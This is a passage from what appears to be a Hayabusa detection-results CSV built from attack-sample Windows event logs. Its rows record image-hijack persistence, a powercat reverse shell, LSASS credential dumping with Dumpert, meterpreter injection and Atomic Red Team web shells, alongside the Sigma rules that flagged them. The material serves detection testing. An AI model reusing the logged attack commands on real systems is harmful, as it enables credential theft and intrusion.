C:\Windows\Temp\evil.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\werfault.exe"" -s -t 1340 -i 1352 -e 1352 -c 0",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:01.928 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe : Path: C:\Windows\System32\Macromed\Flash\FlashPlayerUpdateService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: taskeng.exe {9AAB3F76-4849-4F03-9560-B020B4D0233D} S-1-5-18:NT AUTHORITY\System:Service:,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:01.990 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\Macromed\Flash\FlashPlayerUpdateService.exe : Path: C:\Windows\System32\Macromed\Flash\FlashPlayerUpdateService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:02.350 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\Macromed\Flash\FlashUtil32_30_0_0_134_Plugin.exe -check plugin : Path: C:\Windows\System32\Macromed\Flash\FlashUtil32_30_0_0_134_Plugin.exe : User: IEWIN7\IEUser : Parent Command: taskeng.exe {CF661A9C-C1B0-45D5-BC80-11E48F3A0B96} S-1-5-21-3583694148-1414552638-2922671848-1000:IEWIN7\IEUser:Interactive:LUA[1],rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:10.334 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 02:23:11.694 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\windows\temp\evil.exe : Path: C:\Windows\Temp\evil.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\werfault.exe"" -s -t 3020 -i 2396 -e 2396 -c 0",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_SilentProcessExit_ImageHijack_sysmon_13_1.evtx +2019-06-20 17:07:42.331 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\NETSTAT.EXE"" -na : Path: C:\Windows\System32\NETSTAT.EXE : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:42.331 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:48.909 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""cmd"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:48.909 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:48.925 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""cmd"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:48.925 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:52.956 +09:00,IEWIN7,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: ""cmd""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:52.956 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:52.956 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-20 17:07:58.816 +09:00,IEWIN7,1,informational,Process Creation,"Command: systeminfo : Path: C:\Windows\System32\systeminfo.exe : User: IEWIN7\IEUser : Parent Command: ""cmd""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/powercat_revShell_sysmon_1_3.evtx +2019-06-21 16:35:37.185 +09:00,alice.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: Outflank-Dumpert.exe : Path: C:\Users\administrator\Desktop\x64\Outflank-Dumpert.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:37.329 +09:00,alice.insecurebank.local,11,critical,Dumpert Process Dumper,,rules/sigma/file_event/file_event_hack_dumpert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:37.329 +09:00,alice.insecurebank.local,11,high,LSASS Process Memory Dump Files,,rules/sigma/file_event/file_event_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:37.377 +09:00,alice.insecurebank.local,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.128 +09:00,alice.insecurebank.local,1,informational,Process Creation,"Command: rundll32.exe .\Outflank-Dumpert-DLL.dll, Dump : Path: C:\Windows\System32\rundll32.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.259 +09:00,alice.insecurebank.local,11,critical,Dumpert Process Dumper,,rules/sigma/file_event/file_event_hack_dumpert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.259 +09:00,alice.insecurebank.local,11,high,LSASS Process Memory Dump Files,,rules/sigma/file_event/file_event_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.264 +09:00,alice.insecurebank.local,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.729 +09:00,alice.insecurebank.local,11,critical,Dumpert Process Dumper,,rules/sigma/file_event/file_event_hack_dumpert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.729 +09:00,alice.insecurebank.local,11,high,LSASS Process Memory Dump Files,,rules/sigma/file_event/file_event_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:35:50.749 +09:00,alice.insecurebank.local,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:36:50.450 +09:00,alice.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: AndrewSpecial.exe : Path: C:\Users\administrator\Desktop\AndrewSpecial.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-06-21 16:36:51.682 +09:00,alice.insecurebank.local,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/sysmon_10_11_outlfank_dumpert_and_andrewspecial_memdump.evtx +2019-07-04 05:39:29.223 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.129 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.129 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.145 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.145 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.160 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.160 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.176 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.176 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.192 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.192 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.207 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.207 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.223 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.223 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.239 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.239 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\notepad.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,1,high,Rundll32 Without Parameters,,rules/sigma/process_creation/win_rundll32_without_parameters.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-19 05:40:00.730 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: Trojan:PowerShell/Powersploit.M : Severity: Severe : Type: Trojan : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1056\Get-Keystrokes.ps1 : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:40:00.730 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:40:16.396 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: Trojan:XML/Exeselrun.gen!A : Severity: Severe : Type: Trojan : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1086\payloads\test.xsl : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:40:16.396 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:16.418 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: HackTool:JS/Jsprat : Severity: High : Type: Tool : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0005) : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:16.418 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:16.418 +09:00,MSEDGEWIN10,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:17.508 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: Backdoor:ASP/Ace.T : Severity: Severe : Type: Backdoor : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\cmd.aspx : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:17.508 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:48.236 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: Trojan:Win32/Sehyioa.A!cl : Severity: Severe : Type: Trojan : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1218\src\Win32\T1218-2.dll : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:48.236 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:51:50.275 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:51:50.798 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: HackTool:JS/Jsprat : Severity: High : Type: Tool : User: MSEDGEWIN10\IEUser : Path: containerfile:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp; file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0005); file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0037); file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0045); file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0065); file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0068) : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:51:50.798 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:51:50.798 +09:00,MSEDGEWIN10,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.900 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.902 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.905 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.905 +09:00,MSEDGEWIN10,1117,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.952 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 23:42:51.446 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 4516 288 0000023C0CA21C70 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:42:53.295 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:43:03.303 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:43:03.303 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.161 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe create AtomicTestService binPath= C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.185 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc.exe create AtomicTestService binPath= C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe create AtomicTestService binPath= C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.185 +09:00,MSEDGEWIN10,1,low,New Service Creation,,rules/sigma/process_creation/win_new_service_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.268 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe start AtomicTestService"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.288 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc.exe start AtomicTestService : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe start 